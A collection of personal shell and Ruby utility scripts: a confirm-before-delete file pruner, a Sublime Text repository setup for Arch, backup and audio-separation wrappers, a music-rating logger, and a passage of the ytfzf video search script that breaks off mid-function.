"Aborting because you probably didn't mean to delete both before *and* after." exit 1 end cutfile = Path[args.first] files = cutfile.parent.ls.sort_by(&:mtime) cutpoint = files.index(cutfile) if opts.after? direction = "after" to_delete = files[opts.inclusive? ? cutpoint..-1 : cutpoint+1..-1] else direction = "before" to_delete = files[opts.inclusive? ? 0..cutpoint : 0...cutpoint] end to_delete.reject!(&:dir?) unless opts.recursive? to_keep = files - to_delete deleter = which("trsh", "rm") puts "Files #{direction} #{cutfile}:" to_delete.each { |path| puts path } puts puts "Deleting: #{to_delete.size} files" puts " Keeping: #{to_keep.size} files" puts if prompt("is ok?", "Ny") == "y" cmd = [deleter] cmd << "-r" if opts.recursive? cmd += to_delete #p cmd system(*cmd) puts "it is done" else puts "ok, sorry" end <file_sep>## Install Sublime's Pacman repo in Arch # Get the GPG key curl -O https://download.sublimetext.com/sublimehq-pub.gpg && pacman-key --add sublimehq-pub.gpg && pacman-key --lsign-key 8A8F901A && rm sublimehq-pub.gpg # Add the repo to pacman.conf echo -e "\n[sublime-text]\nServer = https://download.sublimetext.com/arch/stable/x86_64" | tee -a /etc/pacman.conf # Sync package list pacman -Sy # Friendly and informative completion message echo echo "* Done! You can now install the 'sublime-text' package. Hooray!" echo<file_sep># The directory from which this script is being called DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" <file_sep>#!/usr/bin/env ruby ########################################################################### # TODOs: # => Add file extensions if they're missing # => Reformat ugly output # => Read key from a file (or gpg/ssh) ########################################################################### gem 'slop', "~> 3.6" require 'slop' require 'epitools/colored' ########################################################################### def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: zbaq [options] <archive> <dirs/files>" on 'r=', 'repack', 'Repack a set of archives to a single file' on 'a', 'all', 'List all incremental updates' on 'c', 'checksums', 'Only checksums are used to figure out what needs updating' on 'k=', 'key', 'Password for <PASSWORD>' end [opts, ARGV] end def run(cmd) puts puts "Running: #{cmd}" puts if system *cmd puts puts "Success!".light_green true else puts puts "ERRORN!".light_red false end end ########################################################################### opts, args = parse_options archive, *sources = args if new_archive = opts[:repack] # Repack puts "* Repacking #{args} to #{new_archive}" run ["zpaq", "extract", *args, "-repack", new_archive] elsif archive and sources.empty? # List puts "* Listing #{archive}" cmd = ["zpaq", "list", archive] cmd << "-all" if opts[:a] run cmd elsif archive and sources.any? # Incremental backup puts "* Writing BAQUP to #{archive} using #{sources}" cmd = ["zpaq", "add" , "#{archive}???", *sources, "-index", "#{archive}.zpaq"] cmd << "-force" if opts.checksums? run cmd else # Help puts opts exit 1 end<file_sep>#!/usr/bin/env ruby ############################################################################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ############################################################################################################## ############################################################################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: spleet [options] <input file(s)>" on "m=", "model", "model name (eg: 2stems, 4stems, 5stems, list)", default: "2stems" on "o=", "outdir", "output dir", default: "." on "c=", "compressor", "output compression format (eg: wav, flac, mp3, ogg, m4a, wma)", default: "flac" on "w", "weiner", "weiner filtering" on "p=", "pretrained_models", "where to store pretrained models", default: "~/.cache/spleeter" end args = ARGV ############################################################################################################## def spleeter_path # /home/pip/.local/lib/python3.7/site-packages/spleeter/resources/5stems.json pysrc = "import spleeter; print(spleeter.__file__)" spleeter_initpy = IO.popen(["python3", "-c", pysrc], &:read).strip $spleeter_path ||= Path[spleeter_initpy] $spleeter_path.with(filename: nil) end def model_path(modelfile=nil) path = spleeter_path/"resources" if modelfile modelfile = "#{modelfile}.json" unless model[/\.json$/] path/modelfile else path end end ############################################################################################################## def list_models puts "Available models:" (model_path/"*.json").each do |path| instruments = path.parse["instrument_list"] puts " - #{path.basename} (#{instruments.join(", ")})" end end ############################################################################################################## if opts[:model] == "list" list_models elsif args.empty? puts "Error: no input files" puts puts opts exit 1 else cmd = ["spleeter", "separate"] cmd += ["-o", opts[:outdir]] if opts[:model] =~ /^(\w+)(?:\.\w+)?$/ model = $1 json = model_path/"#{model}.json" cmd += ["--params_filename", json] instruments = json.parse["instrument_list"] else puts "Error: can't parse model name: #{opts[:model].inspect}" puts list_models exit 1 end cmd += ["--audio_codec", opts[:compressor]] cmd << "--mwf" if opts.weiner? pretrained_models = Path[opts[:pretrained_models]] env = {"MODEL_PATH" => pretrained_models} puts "[-] Model: #{model || "default"}" puts "[-] Instruments: #{instruments.join(", ")}" if model puts "[-] Pretrained model path: #{pretrained_models}" puts "[*] Splitting..." p cmd p env p args system(env, *cmd, "--audio_filenames", *args) end<file_sep>#!/usr/bin/env ruby require 'json' STARLOG = open(File.expand_path("~/elf-stars.json"), "a") def which(bin) ENV["PATH"].split(":").find do |path| result = File.join(path, bin) return result if File.exists? result end nil end def aud(command) `audtool #{command}`.strip end def playing? aud("playback-status") == "playing" end def song aud("current-song") end def filename aud("current-song-filename") end def play_click_sound if which("mplayer") system("mplayer", "-really-quiet", File.expand_path("~/scripts/sounds/click.mp3")) end end def notify(type, title, body, time: 5) require 'cgi' puts "#{title}" puts " #{body}" time_in_ms = time * 1000 cmd = ["notify-send"] cmd << "--expire-time=#{time_in_ms}" cmd << "--app-name=play" cmd << "--icon=#{type}" cmd += [title, body].map {|s| CGI.escapeHTML s } system *cmd end if playing? info = {date: Time.now.to_i, name: song, filename: filename} play_click_sound notify(:info, "ELF STAR!", info[:name]) STARLOG.puts JSON.dump(info) end <file_sep>#!/bin/sh ############################################### # source: https://github.com/pystardust/ytfzf # ############################################### #versioning system: #major.minor.bugs YTFZF_VERSION="2.0" # Scraping: query -> video json # User Interface: video json -> user selection -> ID # Player: ID -> video player # error codes: # 0: success # 1: general error # 2: invalid -opt or command argument, invalid argument for opt, configuration error # eg: ytfzf -c terminal (invalid scrape) # 3: missing dependancy # 4: scraping error # colors {{{ c_red="\033[1;31m" c_green="\033[1;32m" c_yellow="\033[1;33m" c_blue="\033[1;34m" c_magenta="\033[1;35m" c_cyan="\033[1;36m" c_reset="\033[0m" #}}} # debugging : ${log_level:=2} #state variables : "${__is_submenu:=0}" : "${__is_scrape_for_submenu:=0}" : "${__is_fzf_preview:=0}" # Utility functions {{{ dep_check() { command -v "$1" > /dev/null 2>&1 } function_exists () { type "$1" > /dev/null 2>&1 } get_key_value() { value="${1##* ${2}=}" printf "%s" "${value%% *}" unset value } #capitalizes the first letter of a string title_str () { printf "%s" "$1" | dd bs=1 count=1 conv=ucase 2>/dev/null printf "%s\n" "${1#?}" } print_info () { # information goes to stdout ( does not disturb show_link_only ) [ $log_level -ge 0 ] && printf "$1" >&2 } print_warning () { [ $log_level -ge 1 ] && printf "${c_yellow}${1}${c_reset}" >&2 } print_error () { [ $log_level -ge 2 ] && printf "${c_red}${1}${c_reset}" >&2 } clean_up () { # print_info "cleaning up\n" # clean up only as parent process if [ $__is_fzf_preview -eq 0 ]; then [ -d "$session_cache_dir" ] && [ $keep_cache -eq 0 ] && rm -r "$session_cache_dir" fi } is_relative_dir () { case "$1" in ../*|./*|~/*|/*) return 0 ;; esac return 1 } die () { _return_status=$1 print_error "$2" exit "$_return_status" } trim_url () { while IFS= read _line;do printf '%s\n' "${_line##*|}" done } function_exists "quick_menu" || quick_menu () { fzf --reverse --prompt="$1" } function_exists "quick_menu_ext" || quick_menu_ext (){ external_menu "$1" } function_exists "quick_menu_scripting" || quick_menu_scripting () { quick_menu } quick_menu_wrapper () { prompt="$1" #the last sed is to set it to quick_menu if $interfce is "" (default) fn_name=$(printf "%s" "quick_menu_$interface" | sed 's/-/_/g' | sed 's/^quick_menu_$/quick_menu/') if function_exists "$fn_name"; then $fn_name "$prompt" else quick_menu_ext "$prompt" fi unset fn_name } # Traps {{{ [ $__is_fzf_preview -eq 0 ] && trap 'clean_up' EXIT [ $__is_fzf_preview -eq 0 ] && trap 'exit' INT TERM HUP #}}} # }}} # Global Variables and Start Up {{{ # expansions where the variable is a string and globbing shouldn't happen should be surrounded by quotes # variables that cannot be empty should use := instead of just = # hard dependancy checks{{{ dep_check "jq" || die 3 "jq is a required dependancy, please install it\n" #}}} #configuration handling {{{ : "${YTFZF_CONFIG_DIR:=${XDG_CONFIG_HOME:-$HOME/.config}/ytfzf}" : "${YTFZF_CONFIG_FILE:=$YTFZF_CONFIG_DIR/conf.sh}" : "${YTFZF_SUBSCRIPTIONS_FILE:=$YTFZF_CONFIG_DIR/subscriptions}" : "${YTFZF_THUMBNAIL_VIEWERS_DIR:=$YTFZF_CONFIG_DIR/thumbnail-viewers}" : "${YTFZF_CUSTOM_INTERFACES_DIR:=$YTFZF_CONFIG_DIR/interfaces}" [ -f "$YTFZF_CONFIG_FILE" ] && . "$YTFZF_CONFIG_FILE" #}}} # Custom Scrapers {{{ : "${YTFZF_CUSTOM_SCRAPERS_DIR:=$YTFZF_CONFIG_DIR/scrapers}" #}}} : ${useragent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.152 Safari/537.36'} # menu options #the menu to use instead of fzf when -D is specified function_exists "external_menu" || external_menu () { dmenu -i -l 30 -p "$1" } function_exists "search_prompt_menu" || search_prompt_menu () { printf "Search\n>" read -r _search printf "\033[1A\033[K\r%s\n" "> $_search" } function_exists "search_prompt_menu_ext" || search_prompt_menu_ext () { _search="$(printf '' | external_menu "Search: ")" } function_exists "search_prompt_menu_scripting" || search_prompt_menu_scripting () { search_prompt_menu } search_prompt_menu_wrapper () { #the last sed is to set it to quick_menu if $interfce is "" (default) fn_name="$(printf "%s" "search_prompt_menu_$interface" | sed 's/-/_/g' | sed 's/^search_prompt_menu_$/search_prompt_menu/')" #we could do : # $fn_name 2>/dev/null || [ "$?" -eq 127 ] && search_prompt_menu_ext #however, if we do that, the user won't get their error messages from their script if function_exists "$fn_name"; then $fn_name else search_prompt_menu_ext fi } : ${enable_submenus:=1} : ${submenu_opts=} : ${interface=} : "${fzf_preview_side:=left}" : "${thumbnail_viewer:=ueberzug}" : "${w3mimgdisplay_path:=/usr/lib/w3m/w3mimgdisplay}" # shortcuts : "${download_shortcut:=alt-d}" : "${video_shortcut:=alt-v}" : "${audio_shortcut:=alt-m}" : "${detach_shortcut:=alt-e}" : "${print_link_shortcut:=alt-l}" : "${show_formats_shortcut:=alt-f}" : "${custom_shortcut_binds=}" : "${shortcut_binds:=Enter,double-click,${download_shortcut},${video_shortcut},${audio_shortcut},${detach_shortcut},${print_link_shortcut},${show_formats_shortcut},${custom_shortcut_binds}}" #number of columns (characters on a line) the external menu can have : ${external_menu_len:=210} : ${is_loop:=0} : ${search_again:=0} # Notifications : ${notify_playing:=0} function_exists "handle_playing_notifications" || handle_playing_notifications (){ #if no notify-send push error to /dev/null [ $# -le 1 ] && { while read -r id title; do notify-send -c ytfzf -i "$thumb_dir/${id}.jpg" "Ytfzf Info" "Opening: $title" 2>/dev/null done <<-EOF $(jq -r '.[]|select(.url=="'"$@"'")|"\(.ID)\t\(.title)"' < "$video_json_file") EOF } || { notify-send -c ytfzf "ytfzf info" "Opening: $# videos" 2>/dev/null; } } # urlhandlers #job of url handlers is: # handle the given urls, and take into account some requested attributes, eg: video_pref, and --detach # print what the handler is doing function_exists "video_player" || video_player () { #this function should not be set as the url_handler as it is part of multimedia_player dep_check "mpv" || die 3 "mpv is not installed\n" case "$is_detach" in 0) mpv --ytdl-format="$video_pref" "$@" ;; 1) setsid -f mpv --ytdl-format="$video_pref" "$@" > /dev/null 2>&1 ;; esac } function_exists "audio_player" || audio_player () { #this function should not be set as the url_handler as it is part of multimedia_player dep_check "mpv" || die 3 "mpv is not installed\n" mpv --no-video --ytdl-format="$video_pref" "$@" } function_exists "multimedia_player" || multimedia_player () { #this function differentiates whether or not audio_only was requested case "$is_audio_only" in 0) video_player "$@" ;; 1) audio_player "$@" ;; esac } function_exists "downloader" || downloader () { dep_check "${ytdl_path}" || die 3 "${ytdl_path} is not installed\n" case $is_audio_only in 0) ${ytdl_path} -f "${video_pref}" $ytdl_opts "$@" ;; 1) ${ytdl_path} -x $ytdl_opts "$@" ;; esac } [ -z "$ytdl_path" ] && { dep_check "yt-dlp" && ytdl_path="yt-dlp" || ytdl_path="youtube-dl"; } # directories : "${cache_dir:=${XDG_CACHE_HOME:-$HOME/.cache}/ytfzf}" : "${keep_cache:=0}" # files : "${hist_file:=$cache_dir/watch_hist}" : "${search_hist_file:=$cache_dir/search_hist}" # history : ${enable_hist:=1} : ${enable_search_hist:=1} # format options #variable for switching on sort (date) : ${is_detach:=0} : ${is_audio_only:=0} : "${url_handler:=multimedia_player}" : ${info_to_print=} : ${exit_on_info_to_print:=1} : ${video_pref:=best} : ${show_formats:=0} : ${is_sort:=0} : ${show_thumbnails:=0} : ${scripting_video_count:=1} : ${is_random_select:=0} : ${is_auto_select:=0} # option parsing : "${long_opt_char:=-}" # scrape : "${scrape=youtube}" #this comes from invidious' api : "${thumbnail_quality=default}" : ${sub_link_count:=2} : "${invidious_instance:=https://vid.puffyan.us}" : "${yt_video_link_domain:=$invidious_instance}" : ${pages_to_scrape:=1} : ${odysee_video_search_count:=30} : "${search_sort_by:=relevance}" : "${search_upload_date=}" : "${search_video_duration=}" : "${search_result_type:=video}" : "${search_result_features=}" : "${search_region:=US}" : "${nsfw:=false}" : "${scrape_search_exclude:= youtube-subscriptions S SI T youtube-trending H history }" # Option Checks {{{ case "$long_opt_char" in [a-uw-zA-UW-Z0-9]) die 2 "long_opt_char must be v or non alphanumeric\n" ;; #? = 1 char, * = 1+ chars; ?* = 2+ chars ??*) die 2 "long_opt_char must be 1 char\n" ;; esac #}}} new_line=' ' tab_space=$(printf '\t') : "${gap_space:= }" # }}} usage () { printf "%s" \ "Usage: ytfzf [OPTIONS...] <search-query> The search-query can also be read from stdin OPTIONS: -h Show this help text -d Download the selected video(s) -m Only play audio -f Select a video format before playing -l Reopen the menu when the video stops playing -s After closing fzf make another search -q Use a search query from search history -L Show the link of selected video(s) -c <scraper> The scraper to use, Builtin scrapers: youtube/Y, youtube-trending/T, youtube-subscriptions/S/SI, peertube/P, odysee/lbry/O, history/H, url/U, youtube-playlist instead of giving a search, give a link to a playlist youtube-channel instead of giving a search, give a link to a channel * SI scrapes invidious for channels instead of youtube, * Y and T both scrape invidious you can use multiple scrapers by separating each with a , eg: youtube,odysee -t Show thumbnails --thumb-viewer=viewer The program to use for displaying thumbnails. -D Use an external menu -I <info> Instead of playing the selected video(s), get information about them. Options can be separated with a comma, eg: L,R Options for info: L: print the link of the video VJ: print the json of the video J: print the json of all videos shown in the search R: print the data of the selected videos, as appears in the menu F: print the selected video format -x Clear search and watch history (use --history-clear=<search|watch> to specify 1) --disable-submenus Whether or not to disable submenus, which are menus for things like playlists and channels See ytfzf(1) and ytfzf(5) for more information. " } # Scraping {{{ # * a scraper function takes a search query as $1 and returns video json to file $2 # * argument 3 and above are undefined and can be used for filters # * return codes: # 5 : scrape is disabled # 6 : no response from site (matches curl) # 22: error scraping site (matches curl) # Json keys: # Needed: # ID url title # Optional: # thumbs channel duration views date description # Scraping backends {{{ _get_request () { _base_url=$1 shift 1 # Get search query from youtube curl -f "$_base_url" -s -L \ "$@" \ -H "User-Agent: $useragent" \ -H 'Accept-Language: en-US,en;q=0.9' \ --compressed } #}}} ## Youtube {{{ # Youtube backend functions {{{ _youtube_channel_name () { # takes channel page html (stdin) and returns the channel name grep -o '[<]title[>].*[<]/title[>]' | sed \ -e 's/ - YouTube//' \ -e 's/<\/\?title>//g' \ -e "s/&apos;/'/g" \ -e "s/&#39;/'/g" \ -e "s/&quot;/\"/g" \ -e "s/&#34;/\"/g" \ -e "s/&amp;/\&/g" \ -e "s/&#38;/\&/g" } _youtube_get_json (){ # Separates the json embedded in the youtube html page # * removes the content after ytInitialData # * removes all newlines and trims the json out sed -n '/var *ytInitialData/,$p' | tr -d '\n' | sed -E ' s_^.*var ytInitialData ?=__ ; s_;</script>.*__ ;' } _youtube_channel_json () { channel_name=$1 jq '[ .contents | ..|.gridVideoRenderer? | select(. !=null) | { ID: .videoId, url: "'"$yt_video_link_domain"'/watch?v=\(.videoId)", title: "\(if .title.simpleText then .title.simpleText else .title.runs[0].text end)", channel: "'"$channel_name"'", thumbs: .thumbnail.thumbnails[0].url|sub("\\?.*";""), duration:.thumbnailOverlays[0].thumbnailOverlayTimeStatusRenderer.text.simpleText, views: .shortViewCountText.simpleText, date: .publishedTimeText.simpleText, } ]' } #}}} scrape_youtube_channel () { channel_url="$1" output_json_file="$2" tmp_filename="$3" print_info "Scraping Youtube channel: $channel_url\n" _tmp_html="${session_temp_dir}/${tmp_filename}.html" _tmp_json="${session_temp_dir}/${tmp_filename}.json" # Converting channel title page url to channel video url case "$channel_url" in */videos) : ;; *) channel_url="${channel_url}/videos" esac channel_id="$(_get_channel_id "$channel_url")" [ "$channel_id/videos" = "$channel_url" ] &&\ print_warning "$channel_url is not a scrapable link run:\n$0 --channel-link='$channel_url'\nto fix this warning\n" &&\ channel_url="$(_get_real_channel_link "$channel_url")" && channel_id="$(_get_channel_id "$channel_url")" _get_request "https://www.youtube.com/channel/${channel_id}/videos" > "$_tmp_html" _youtube_get_json < "$_tmp_html" > "$_tmp_json" channel_name=$(_youtube_channel_name < "$_tmp_html" ) _youtube_channel_json "$channel_name" < "$_tmp_json" >> "$output_json_file" } # }}} ## Invidious {{{ # invidious backend functions {{{ _get_real_channel_link () { domain=${1#https://} domain=${domain%%/*} url=$(printf "%s" "$1" | sed -E "s_(https://)?www.youtube.com_${invidious_instance}_") real_path="$(curl -is "$url" | grep "^[lL]"ocation | sed 's/[Ll]ocation: //')" #prints the origional url because it was correct [ -z "$real_path" ] && printf "%s\n" "$1" && return 0 #printf is not used because weird flushing? issues. echo "https://${domain}${real_path}" } _get_channel_id () { link="$1" link="${link##*channel/}" link="${link%/*}" printf "%s" "$link" } _get_invidious_thumb_quality_name () { case "$thumbnail_quality" in high) thumbnail_quality="hqdefault" ;; medium) thumbnail_quality="mqdefault" ;; start) thumbnail_quality="1" ;; middle) thumbnail_quality="2" ;; end) thumbnail_quality="3" ;; esac } _invidious_search_json_playlist () { jq '[ .[] | select(.type=="playlist") | { ID: .playlistId, url: "'"${yt_video_link_domain}"'/playlist?list=\(.playlistId)", title: "[playlist] \(.title)", channel: .author, thumbs: .playlistThumbnail, duration: "\(.videoCount) videos", action: "scrape type=invidious-playlist search='"${yt_video_link_domain}"'/playlist?list=\(.playlistId)" } ]' } _invidious_search_json_channel () { jq ' [ .[] | select(.type=="channel") | { ID: .authorId, url: "'"${yt_video_link_domain}"'/channel/\(.authorId)", title: "[channel] \(.author)", channel: .author, thumbs: "https:\(.authorThumbnails[4].url)", duration: "\(.videoCount) uploaded videos", action: "scrape type=invidious-channel search='"${invidious_instance}"'/channel/\(.authorId)" } ]' } _invidious_search_json_live () { jq '[ .[] | select(.type=="video" and .liveNow==true) | { ID: .videoId, url: "'"${yt_video_link_domain}"'/watch?v=\(.videoId)", title: "[live] \(.title)", channel: .author, thumbs: "'"${invidious_instance}"'/vi/\(.videoId)/'"$thumbnail_quality"'.jpg" } ]' } _invidious_search_json_videos () { jq ' def pad_left(n; num): num | tostring | if (n > length) then ((n - length) * "0") + (.) else . end ; [ .[] | select(.type=="video" and .liveNow==false) | { ID: .videoId, url: "'"${yt_video_link_domain}"'/watch?v=\(.videoId)", title: .title, channel: .author, thumbs: "'"${invidious_instance}"'/vi/\(.videoId)/'"$thumbnail_quality"'.jpg", duration: "\(.lengthSeconds / 60 | floor):\(pad_left(2; .lengthSeconds % 60))", views: "\(.viewCount)", date: .publishedText, description: .description } ]' } _invidious_playlist_json () { jq ' def pad_left(n; num): num | tostring | if (n > length) then ((n - length) * "0") + (.) else . end ; [ .videos | .[] | { ID: .videoId, url: "'"${yt_video_link_domain}"'/watch?v=\(.videoId)", title: .title, channel: .author, thumbs: "'"${invidious_instance}"'/vi/\(.videoId)/'"$thumbnail_quality"'.jpg", duration: "\(.lengthSeconds / 60 | floor):\(pad_left(2; .lengthSeconds % 60))", date: .publishedText, description: .description } ]' } #}}} scrape_invidious_playlist () { playlist_url=$1 output_json_file=$2 playlist_id="${playlist_url##*[?]list=}" _get_invidious_thumb_quality_name #used to put the full playlist in, to later remove duplicates _full_playlist_json="${session_temp_dir}/full-playlist-$playlist_id.json" _cur_page=1 while :; do _tmp_json="${session_temp_dir}/yt-playlist-$playlist_id-$_cur_page.json" _get_request "$invidious_instance/api/v1/playlists/$playlist_id" \ -G --data-urlencode "page=$_cur_page" > "$_tmp_json" || return "$?" jq -e '.videos==[]' < "$_tmp_json" > /dev/null 2>&1 && break print_info "Scraping Youtube playlist (with $invidious_instance) (playlist: $playlist_url, pg: $_cur_page)\n" _cur_pag_cur_page=$((i+1)) _invidious_playlist_json < "$_tmp_json" >> "$_full_playlist_json" done #some instances give duplicates over multiple pages, remove the duplicates jq -s '. | flatten | sort_by(.ID) | unique_by(.ID)' < "$_full_playlist_json" >> "$output_json_file" } scrape_invidious_search () { page_query=$1 output_json_file=$2 pagetype=$3 page_num=$4 _cur_page=1 while [ ${_cur_page} -le $page_num ]; do _tmp_json="${session_temp_dir}/yt-search-$_cur_page.json" print_info "Scraping YouTube (with $invidious_instance) ($page_query, pg: $_cur_page)\n" _get_request "$invidious_instance/api/v1/search" \ -G --data-urlencode "q=$page_query" \ --data-urlencode "type=${search_result_type}" \ --data-urlencode "sort_by=${search_sort_by}" \ --data-urlencode "date=${search_upload_date}" \ --data-urlencode "duration=${search_video_duration}" \ --data-urlencode "features=${search_result_features}" \ --data-urlencode "region=${search_region}" \ --data-urlencode "page=${_cur_page}" > "$_tmp_json" || return "$?" _get_invidious_thumb_quality_name { _invidious_search_json_live < "$_tmp_json" _invidious_search_json_videos < "$_tmp_json" _invidious_search_json_channel < "$_tmp_json" _invidious_search_json_playlist < "$_tmp_json" } >> "$output_json_file" _cur_page=$((_cur_page+1)) done } scrape_invidious_trending () { trending_tab=$(title_str $1) output_json_file=$2 print_info "Scraping YouTube (with $invidious_instance) trending (${trending_tab:-Normal})\n" _tmp_json="${session_temp_dir}/yt-trending" url="$invidious_instance/api/v1/trending" [ -n "$trending_tab" ] && url="${url}?type=${trending_tab}" && _tmp_json="${_tmp_json}-$trending_tab" _get_request "$url" \ -G --data-urlencode "region=${search_region}" > "$_tmp_json" || return "$?" _get_invidious_thumb_quality_name _invidious_search_json_videos < "$_tmp_json" >> "$output_json_file" } scrape_invidious_channel () { channel_url=$1 output_json_file=$2 tmp_file_name=$3 #default to one, because -cSI does not give a page count page_num=${4:-1} # Converting channel title page url to channel video url case "$channel_url" in */videos) : ;; *) channel_url="${channel_url}/videos" esac channel_id="$(_get_channel_id "$channel_url")" [ "$channel_id/videos" = "$channel_url" ] &&\ print_warning "$channel_url is not a scrapable link run:\n$0 --channel-link='$channel_url'\nto fix this warning\n" &&\ channel_url="$(_get_real_channel_link "$channel_url")" && channel_id="$(_get_channel_id "$channel_url")" #here because if scrape_invidious_channel is called more than once, i needs to be reset _cur_page=1 while [ ${_cur_page} -le $page_num ]; do print_info "Scraping Youtube (with $invidious_instance) channel: $channel_url (pg: $_cur_page)\n" #if this var isn't unique, weird things happen, _tmp_json="${session_temp_dir}/$tmp_file_name-$_cur_page.json" channel_url="$invidious_instance/api/v1/channels/$channel_id/videos" _get_request "${channel_url##* }" \ -G --data-urlencode "page=$_cur_page" \ > "$_tmp_json" || return "$?" _get_invidious_thumb_quality_name { _invidious_search_json_videos < "$_tmp_json" _invidious_search_json_live < "$_tmp_json" } >> "$output_json_file" _cur_page=$((_cur_page+1)) done } ## }}} ## Peertube {{{ scrape_peertube () { page_query=$1 output_json_file=$2 print_info "Scraping Peertube ($page_query)\n" _tmp_json="${session_temp_dir}/peertube.json" #gets a list of videos _get_request "https://sepiasearch.org/api/v1/search/videos" -G --data-urlencode "search=$1" > "$_tmp_json" || return "$?" jq ' def pad_left(n; num): num | tostring | if (n > length) then ((n - length) * "0") + (.) else . end ; [ .data | .[] | { ID: .uuid, url: .url, title: .name, channel: .channel.displayName, thumbs: .thumbnailUrl, duration: "\(.duration / 60 | floor):\(pad_left(2; .duration % 60))", views: "\(.views)", date: .publishedAt } ]' < "$_tmp_json" >> "$output_json_file" } ## }}} ## Odysee {{{ scrape_odysee () { page_query=$1 [ "${#page_query}" -le 2 ] && die 4 "Odysee searches must be 3 or more characters\n" output_json_file=$2 print_info "Scraping Odysee ($page_query)\n" _tmp_json="${session_temp_dir}/odysee.json" case "$search_sort_by" in upload_date|newest_first) search_sort_by="release_time" ;; oldest_first) search_sort_by="^release_time" ;; relevance) search_sort_by="" ;; esac case "$search_upload_date" in week|month|year) search_upload_date="this${search_upload_date}" ;; day) search_upload_date="today" ;; esac case "$nsfw" in 1) nsfw=true ;; 0) nsfw=false ;; esac #this if is because when search_sort_by is empty, it breaks lighthouse if [ -n "$search_sort_by" ]; then _get_request "https://lighthouse.lbry.com/search" -G \ --data-urlencode "s=$page_query" \ --data-urlencode "mediaType=video,audio" \ --data-urlencode "include=channel,title,thumbnail_url,duration,cq_created_at,description,view_cnt" \ --data-urlencode "sort_by=$search_sort_by" \ --data-urlencode "time_filter=$search_upload_date" \ --data-urlencode "nsfw=$nsfw" \ --data-urlencode "size=$odysee_video_search_count" > "$_tmp_json" || return "$?" else _get_request "https://lighthouse.lbry.com/search" -G \ --data-urlencode "s=$page_query" \ --data-urlencode "mediaType=video,audio" \ --data-urlencode "include=channel,title,thumbnail_url,duration,cq_created_at,description,view_cnt" \ --data-urlencode "time_filter=$search_upload_date" \ --data-urlencode "nsfw=$nsfw" \ --data-urlencode "size=$odysee_video_search_count" > "$_tmp_json" || return "$?" fi #select(.duration != null) selects videos that aren't live, there is no .is_live key jq ' def pad_left(n; num): num | tostring | if (n > length) then ((n - length) * "0") + (.) else . end ; [ .[] |select(.duration != null) | { ID: .claimId, title: .title, url: "https://www.odysee.com/\(.channel)/\(.name)", channel: .channel, thumbs: .thumbnail_url, duration: "\(.duration / 60 | floor):\(pad_left(2; .duration % 60))", views: "\(.view_cnt)", date: .cq_created_at } ]' < "$_tmp_json" >> "$output_json_file" } ## }}} # History{{{ scrape_history () { [ $enable_hist -eq 0 ] && print_info "enable_hist must be set to 1 for this option" && return 5 output_json_file="$2" enable_hist=0 #enabling history while scrape is history causes issues cp "$hist_file" "$output_json_file" 2>/dev/null } scrape_json_file () { search="$1" output_json_file="$2" cp "$search" "$output_json_file" 2>/dev/null } #}}} # }}} # Sorting {{{ function_exists "get_sort_by" || get_sort_by () { line="$1" date="${line%|*}" date=${date##*|} #youtube specific date=${date#*Streamed} date=${date#*Premiered} date -d "$date" '+%s' 2>/dev/null || date -f "$date" '+%s' 2> /dev/null || printf "null" unset line } function_exists "data_sort_fn" || data_sort_fn () { sort -nr } sort_video_data_fn () { if [ $is_sort -eq 1 ]; then while IFS= read -r line do #run the key function to get the value to sort by get_sort_by "$line" | tr -d '\n' printf "\t%s\n" "$line" done | data_sort_fn | cut -f2- else cat fi } #}}} # History Management {{{ add_to_hist () { #id of the video to add to hist will be passed through stdin #if multiple videos are selected, multiple ids will be present on multiple lines json_file="$1" while read -r url; do jq -r --arg url "${url% }" '[ .[]|select(.url==$url) ]'< "$json_file" | sed 's/\[\]//g'>> "$hist_file" done unset url urls json_file } clear_hist () { case "$1" in search) : > "$search_hist_file"; print_info "Search history cleared\n" ;; watch) : > "$hist_file"; print_info "Watch history cleared\n" ;; *) : > "$search_hist_file" : > "$hist_file" print_info "History cleared\n" ;; esac } #}}} # User Interface {{{ # Keypresses {{{ set_keypress () { #this function uses echo to keep new lines read -r keypress while read -r line; do input="${input}${new_line}${line}" done #this if statement checks if there is a keypress, if so, print the input, otherwise print everything # $keypress could also be a standalone variable, but it's nice to be able to interact with it externally if printf "%s" "$keypress" | grep -E '^[[:alnum:]-]+$' > "$keypress_file"; then echo "$input" | sed -n '2,$p' else #there was no key press, remove all blank lines echo "${keypress}${new_line}${input}" | grep -Ev '^[[:space:]]*$' fi unset keypress } handle_keypress () { read -r keypress function_exists "handle_custom_keypresses" && { handle_custom_keypresses "$keypress" || return "$?"; } case "$keypress" in $download_shortcut) url_handler=downloader ;; $video_shortcut) url_handler=video_player ;; $audio_shortcut) url_handler=audio_player ;; $detach_shortcut) is_detach=1 ;; $print_link_shortcut) info_to_print="L"; exit_on_info_to_print=1 ;; $show_formats_shortcut) show_formats=1 ;; esac unset keypress } #}}} # Takes video json file as $1 and returns the selected video IDs to file $2 function_exists "video_info_text" || video_info_text () { printf "%-${title_len}.${title_len}s\t" "$title" printf "%-${channel_len}.${channel_len}s\t" "$channel" printf "%-${dur_len}.${dur_len}s\t" "$duration" printf "%-${view_len}.${view_len}s\t" "$views" printf "%-${date_len}.${date_len}s\t" "$date" printf "%s" "$url" printf "\n" } function_exists "thumbnail_video_info_text" || thumbnail_video_info_text () { [ -n "$title" ] && printf "\n ${c_cyan}%s" "$title" [ -n "$channel" ] && printf "\n ${c_blue}Channel ${c_green}%s" "$channel" [ -n "$duration" ] && printf "\n ${c_blue}Duration ${c_yellow}%s" "$duration" [ -n "$views" ] && printf "\n ${c_blue}Views ${c_magenta}%s" "$views" [ -n "$date" ] && printf "\n ${c_blue}Date ${c_cyan}%s" "$date" [ -n "$description" ] && printf "\n ${c_blue}Description ${c_reset}: %s" "$(printf "%s" "$description" | sed 's/\\n/\n/g')" } # Scripting interfaces {{{ interface_scripting () { video_json_file=$1 selected_id_file=$2 data_string_template='.[]|"\(.title)\t|\(.channel)\t|\(.duration)\t|\(.views)\t|\(.date)\t|\(.url)"' case 1 in "$is_auto_select") jq -r "$data_string_template" < "$video_json_file" | head -n "$scripting_video_count" | trim_url > "$selected_id_file" ;; "$is_random_select") jq -r "$data_string_template" < "$video_json_file" | shuf | head -n "$scripting_video_count" | trim_url > "$selected_id_file" ;; esac # 